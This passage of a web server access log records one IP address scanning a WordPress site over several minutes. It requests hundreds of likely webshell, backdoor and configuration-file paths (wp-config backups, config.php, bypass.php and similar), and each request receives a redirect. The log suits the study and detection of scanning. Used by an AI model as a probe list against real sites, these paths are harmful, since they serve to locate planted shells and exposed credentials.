/wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:09:43 +0300] "GET /wp-includes/PHPMailer/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:09:47 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:09:52 +0300] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:09:57 +0300] "GET /wp-includes/js/dist/script-modules/block-library/navigation/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:09:58 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:02 +0300] "GET /wp-includes/blocks/legacy-widget/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:02 +0300] "GET /wp-admin/maint/providers/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:07 +0300] "GET /wp-includes/wp-cron.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:11 +0300] "GET /wp-content/lock360.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:14 +0300] "GET /wp-includes/blocks/query-pagination/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:14 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:15 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:20 +0300] "GET /wp-includes/theme-compat/network/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:24 +0300] "GET /wp-admin/images/block-bindings/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:29 +0300] "GET /session_init.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:34 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:38 +0300] "GET /wp-includes/assets/joker.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:43 +0300] "GET /wp-includes/blocks/page-list/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:44 +0300] "GET /wp-includes/Requests/src/Exception/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:44 +0300] "GET /wp-includes/js/dist HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:44 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:48 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:52 +0300] "GET /wp-admin/network/colors/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:10:57 +0300] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:02 +0300] "GET /wp-admin/images/html-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:07 +0300] "GET /wp-includes/block-bindings/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:12 +0300] "GET /wp-content/themes/news-portal/user-install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:17 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:22 +0300] "GET /wp-includes/customize/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:26 +0300] "GET /wp-domain.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:31 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:36 +0300] "GET /wp-admin/maint/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:40 +0300] "GET /wp-content/plugins/Iitespeed-cache/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:44 +0300] "GET /wp-content/languages/plugins/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:48 +0300] "GET /wp-content/plugins/wp-load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:52 +0300] "GET /wp-includes/sodium_compat/namespaced/customize/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:55 +0300] "GET /wp-content/themes/twentytwentytwo/parts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:55 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:56 +0300] "GET /wp-includes/blocks/query-title/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:11:56 +0300] "GET /wp-content/plugins/revslider/temp/update_extract/revslider.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:00 +0300] "GET /wp-content/plugins/pretty-link/js/build/wp-cron.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:04 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:08 +0300] "GET /wp-content/themes/astra/inc/builder/type/base/dynamic-css/button/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:11 +0300] "GET /wp-includes/js/crop/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:16 +0300] "GET /wp-includes/js/dist/vendor/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:21 +0300] "GET /wp-content/plugins/woocommerce/includes/import/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:26 +0300] "GET /wp-includes/author-template-object.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:31 +0300] "GET /wp-content/uploads/error.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:36 +0300] "GET /wp-content/text.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:39 +0300] "GET /wp-includes/blocks/tag-cloud/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:40 +0300] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:45 +0300] "GET /wp-admin/css/colors/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:48 +0300] "GET /wp-admin/zz.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:50 +0300] "GET /wp-content/plugins/maintenance.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:54 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:56 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:12:59 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:13:02 +0300] "GET /wp-admin/wp-signin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:13:07 +0300] "GET /wp-content/themes/wp-mail.phpp HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:13:10 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:13:13 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:13:18 +0300] "GET /wp-admin/widgets-form-blocks-interface.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:13:23 +0300] "GET /wp-includes/blocks/nextpage/wp-cron.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:13:26 +0300] "GET /wp-content/database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:13:30 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:13:33 +0300] "GET /wp-includes/IXR/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:13:36 +0300] "GET /wp-content/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:13:39 +0300] "GET /wp-content/Text/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:13:44 +0300] "GET /wp-content/js/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:13:48 +0300] "GET /wp-content/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:13:51 +0300] "GET /wp-content/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:13:56 +0300] "GET /wp-content/uploads/backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:14:00 +0300] "GET /wp-content/panel.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:14:04 +0300] "GET /wp-includes/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:14:09 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:14:13 +0300] "GET /wp-includes/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:14:18 +0300] "GET /wp-includes/plugins/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:14:22 +0300] "GET /wp-includes/network/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:14:25 +0300] "GET /wp-includes/upload.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:14:28 +0300] "GET /wp-content/srtdgd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:14:32 +0300] "GET /wp-admin/js/advanc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:14:36 +0300] "GET /wp-admin/uploads/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:14:39 +0300] "GET /wp-admin/home.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:14:44 +0300] "GET /wp-admin/edit-tags-session.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:14:49 +0300] "GET /wp-content/plugins/js_composer_theme/include/classes/vendors/plugins/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:14:55 +0300] "GET /wp-content/plugins/wp-file-manager/lib/php/plugins/api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:14:59 +0300] "GET /wp-content/plugins/wp-mail.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:04 +0300] "GET /wp-content/plugins/jetpack/extensions/plugins/load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:07 +0300] "GET /wp-content/plugins/loginpress/css/themes/wp-cron.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:12 +0300] "GET /wp-content/plugins/fileorganizer/manager/php/plugins/wp-load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:17 +0300] "GET /wp-content/themes/jupiter/assets/js/plugins/wp-signup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:21 +0300] "GET /wp-content/uploads/xmlrpc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:26 +0300] "GET /wp-content/options.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:30 +0300] "GET /wp-includes/module.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:34 +0300] "GET /wp-admin/xy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:39 +0300] "GET /wp-includes/xy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:42 +0300] "GET /wp-includes/theme-compat/footer-class.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:44 +0300] "GET /wp-content/themes/master-blog/content-none-new-compiler.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:47 +0300] "GET /wp-content/plugins/wordpress-seo/wp-seo-trigger.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:49 +0300] "GET /wp-content/plugins/contact-form-7/admin/css/styles-rtl.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:53 +0300] "GET /wp-content/themes/twentyfifteen/content-search.bar.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:55 +0300] "GET /wp-content/themes/twentyfourteen/inc/widgets-core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:15:58 +0300] "GET /wp-includes/js/mediaelement/wp-mediaelement.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:01 +0300] "GET /wp-includes/js/thickbox/class-menushelp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:06 +0300] "GET /wp-includes/feed-data.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:10 +0300] "GET /wp-includes/theme-compat/header.item.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:14 +0300] "GET /wp-includes/capabilities-json.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:18 +0300] "GET /wp-includes/ID3/module.audio.ogg-data.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:21 +0300] "GET /wp-includes/widgets/class-wp-widget-calendar-js.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:26 +0300] "GET /wp-content/themes/twentytwentyone/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:26 +0300] "GET /wp-includes/blocks/footnotes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:26 +0300] "GET /wp-includes/lib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:31 +0300] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:36 +0300] "GET /wp-includes/Requests/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:41 +0300] "GET /wp-includes/blocks/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:45 +0300] "GET /wp-includes/settings.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:50 +0300] "GET /wp-includes/images/wp-load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:55 +0300] "GET /wp-includes/images/media/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:16:59 +0300] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:00 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:00 +0300] "GET /wp-admin/images/Base.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:04 +0300] "GET /wp-admin/images/Cap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:08 +0300] "GET /wp-includes/theme-compat/theme-compat/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:13 +0300] "GET /wp-includes/theme-compat/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:18 +0300] "GET /wp-includes/widgets/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:23 +0300] "GET /wp-includes/wp-config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:27 +0300] "GET /wp-includes/certificates/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:32 +0300] "GET /wp-includes/js/dist/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:35 +0300] "GET /wp-includes/js/wp-load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:38 +0300] "GET /wp-includes/js/imgareaselect/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:41 +0300] "GET /wp-includes/js/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:43 +0300] "GET /wp-includes/js/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:46 +0300] "GET /wp-includes/js/jcrop/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:48 +0300] "GET /wp-includes/js/wp-config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:50 +0300] "GET /wp-includes/app.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:52 +0300] "GET /wp-includes/fonts/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:54 +0300] "GET /wp-includes/footer.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:17:57 +0300] "GET /wp-includes/rest-api/search/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:01 +0300] "GET /wp-includes/rest-api/endpoints/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:06 +0300] "GET /wp-includes/rest-api/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:11 +0300] "GET /wp-includes/random_compat/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:15 +0300] "GET /wp-includes/init.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:19 +0300] "GET /wp-admin/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:22 +0300] "GET /wp-content/wp-config-backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:25 +0300] "GET /wp-content/backup-migration/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:27 +0300] "GET /wp-content/uploads/redux/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:27 +0300] "GET /wp-content/languages/themes/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:31 +0300] "GET /wp-content/languages/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:35 +0300] "GET /wp-content/plugins/pwnd/bypass.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:37 +0300] "GET /wp-admin/class.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:40 +0300] "GET /wp-content/plugins/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:43 +0300] "GET /wp-content/plugins/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:45 +0300] "GET /wp-content/themes/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:48 +0300] "GET /wp-content/uploads/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:51 +0300] "GET /wp-content/uploads/system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:54 +0300] "GET /wp-content/themes/twentynineteen/sass/site/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:18:57 +0300] "GET /wp-content/themes/twentytwenty/assets/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:00 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:00 +0300] "GET /wp-content/edit-tags.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:05 +0300] "GET /root.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:09 +0300] "GET /wp-includes/webix.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:12 +0300] "GET /wp-content/uploads/ms-files.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:17 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:22 +0300] "GET /wp-content/uploads/edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:27 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:32 +0300] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:35 +0300] "GET /wp-admin/wp-mail.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:38 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:40 +0300] "GET /wp-content/plugins/wp-multilang/configs/plugins/users.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:43 +0300] "GET /wp-content/upgrade-temp-backup/plugins/maintenance.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:45 +0300] "GET /aboutc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:47 +0300] "GET /wp-includes/blocks/columns/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:47 +0300] "GET /wp-includes/blocks/widget-group/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:48 +0300] "GET /wp-content/themes/news-portal/fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:50 +0300] "GET /wp-includes/assets/koiy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:52 +0300] "GET /wp-content/plugins/Nxploited/class-payment.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:55 +0300] "GET /wp-content/plugins/plugin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:19:57 +0300] "GET /first.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:20:00 +0300] "GET /wp-includes/bk/database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:20:05 +0300] "GET /wp-includes/configRIV/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:20:10 +0300] "GET /wp-includes/home.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:20:15 +0300] "GET /wp-content/well-known/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:20:20 +0300] "GET /wp-content/home.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:20:25 +0300] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:20:29 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:20:32 +0300] "GET /wp-content/plugins/updraftplus/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:20:37 +0300] "GET /wp-content/plugins/xc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:20:40 +0300] "GET /well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:20:45 +0300] "GET /well-known/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:20:50 +0300] "GET /x123.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.105 - - [11/Apr/2026:16:20:54 +0300] "GET 